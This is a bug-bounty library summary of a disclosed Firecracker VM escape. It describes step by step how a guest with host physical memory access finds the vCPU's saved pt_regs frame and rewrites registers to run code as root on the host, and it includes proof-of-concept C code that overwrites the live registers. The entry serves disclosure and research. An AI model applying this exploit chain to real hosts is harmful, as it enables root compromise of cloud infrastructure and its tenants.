# Firecracker VM Escape: PwnEscape Part 2.

Guest with host physical memory access locates Firecracker's live vCPU pt_regs frame and rewrites saved registers to execute arbitrary host code as root.

- Payout: Research
- Severity: critical
- Program: Firecracker
- Write-up by: PWN Research, Paulos Yibelo
- Disclosed: 2026-11-04
- CVE: CVE-2026-99999
- Write-up quality: 8/10
- Original: https://pwn.ai/blog/firecracker-escape
- Library page: https://bugbountylibrary.com/r/blog%3Apwn-ai-blog-firecracker-escape
- Tags: area:cloud domain:cloud impact:privesc impact:rce kind:research platform:research sev:critical tech:evm tech:linux technique:source-review vuln:memory-corruption vuln:sandbox-escape

**Target:** Firecracker VMM vCPU thread / KVM_RUN pt_regs on x86-64 host
**Root cause:** The guest, given a host physical memory primitive, can locate and modify the host kernel's saved pt_regs for the vCPU thread blocked in KVM_RUN, so the registers restored on return to userspace are attacker-controlled.
**Steps:**
1. Place a nonce in a guest page at known GPA `0x08f03000`; walk candidate EPT roots to find the HPA whose contents match the nonce, yielding `guest_page_hpa=0x165610000`.
2. Reverse-map host page tables for a mapping of `guest_page_hpa`; validate by walking the recovered PGD back to the same HPA and re-checking the nonce, yielding `host_pgd=0x14afc2000`.
3. Locate the Firecracker ELF in that address space by matching the write(2) wrapper byte prefix `48 83 ec 10 49 89 f2 48 89 d1 48 63 f7 6a 00`; derive load bias `firecracker_base=0x7298c2400000`.
4. Search host memory for a pt_regs frame where syscall==ioctl, request==KVM_RUN (0xae80), RIP==load_bias+0x26aad2, SP translates via host_pgd, CS/SS==0x33/0x2b, caller return inside text; yields `frame_hpa=0x13a5bff48`.
5. Save three stack words; write marker `N8V23M2\n` at SP+0x30, `zero_eax_ret_va` at SP-16, `ioctl_return_va` at SP-8.
6. Overwrite saved regs: RDI=2, RSI=marker_va, RDX=8, RSP=rop_stack_va, RIP=write_va.
7. Trigger return from KVM by `pwrite(/dev/port, "!", 1, 0x3f8)` to the serial port; Firecracker's write wrapper emits the marker, xor eax,eax;ret restores return value, execution resumes at ioctl continuation.
8. Restore the three saved stack words; verify Firecracker alive, SSH responsive, text unmodified.
**How found:** Observed that a vCPU thread blocked in KVM_RUN has its userspace registers saved in pt_regs by the host kernel, making the return from KVM_RUN a controllable resume point. Hypothesized that with host physical memory access, the saved frame could be located by matching the ioctl continuation address computed from the ELF load bias, then validated with syscall identity, KVM_RUN request, fd range, SP translation through the recovered PGD, and caller return inside text.
**Exploitation:** Precondition: guest already holds a host physical memory primitive (from Part 1) plus /dev/mem and /dev/port access. Chain: EPT walk to identify guest page HPA, reverse page-table walk to recover Firecracker's PGD, ELF signature match for load bias under ASLR, pt_regs scan for the live KVM_RUN frame, then rewrite saved registers so the kernel restores attacker-chosen RIP/RSP/args on return to userspace. Serial port write forces the vCPU exit. Payload calls Firecracker's write(2) wrapper to emit a marker to host stderr, then a xor eax,eax;ret gadget fixes the return value and returns to the original ioctl continuation so the process survives. Firecracker ran as root without jailer, so the call executed as root on the host.
**Escalation:** Reversible single-call hijack proves arbitrary host code execution as root; extending to other calls requires code/args compatible with process mappings and seccomp policy. No jailer in this config; production jailer/seccomp would need separate assessment.
**Insight:** When you have arbitrary host physical read/write, target the kernel's saved pt_regs of a thread blocked in a syscall you can force to return: the RIP is a predictable binary offset (ioctl continuation) and the frame is uniquely identifiable by syscall nr, request arg, and SP translating through the recovered PGD. Make the hijack reversible by fixing the syscall return value (xor eax,eax;ret) and returning to the original continuation so the process stays alive.

## Proof of concept (copied exactly from the original report)

**Final helper source that overwrites live KVM_RUN pt_regs**

```
memcpy(stack_page + (marker_hpa & (PAGE_SIZE_U64 - 1)),
 marker_bytes, MARKER_LENGTH);
 memcpy(stack_page + (rop_stack_hpa & (PAGE_SIZE_U64 - 1)),
 &zero_eax_ret_va, sizeof(zero_eax_ret_va));
 memcpy(stack_page + (ioctl_return_slot_hpa &
 (PAGE_SIZE_U64 - 1)),
 &ioctl_return_va, sizeof(ioctl_return_va));
 __atomic_thread_fence(__ATOMIC_SEQ_CST);
 __atomic_store_n(&live_regs[14], UINT64_C(2), __ATOMIC_SEQ_CST);
 __atomic_store_n(&live_regs[13], marker_va, __ATOMIC_SEQ_CST);
 __atomic_store_n(&live_regs[12], MARKER_LENGTH, __ATOMIC_SEQ_CST);
 __atomic_store_n(&live_regs[19], rop_stack_va, __ATOMIC_SEQ_CST);
 __atomic_store_n(&live_regs[16], write_va, __ATOMIC_SEQ_CST);

 trigger_result = pwrite(port_fd, "!", 1, (off_t)SERIAL_PORT);
```

**EPT root resolver nonce check pseudocode**

```
for root in candidate_ept_roots:
 page_hpa = walk_ept(root, guest_gpa)
 if page_hpa is invalid:
 continue

 contents = read_host(page_hpa, length(nonce))
 if contents == nonce:
 candidates.append((root, page_hpa))
```

## Write-ups of the same bug (oldest first)
- 2026-10-15: [PwnEscape: Guest-to-Host KVM Escape (CVE-2026-99999)](https://bugbountylibrary.com/r/blog%3Apwn-ai-blog-pwnescape) — PWNAI Research, Paulos Yibelo
- 2026-11-04: [Firecracker VM Escape: PwnEscape Part 2.](https://bugbountylibrary.com/r/blog%3Apwn-ai-blog-firecracker-escape) — PWN Research, Paulos Yibelo (this one)

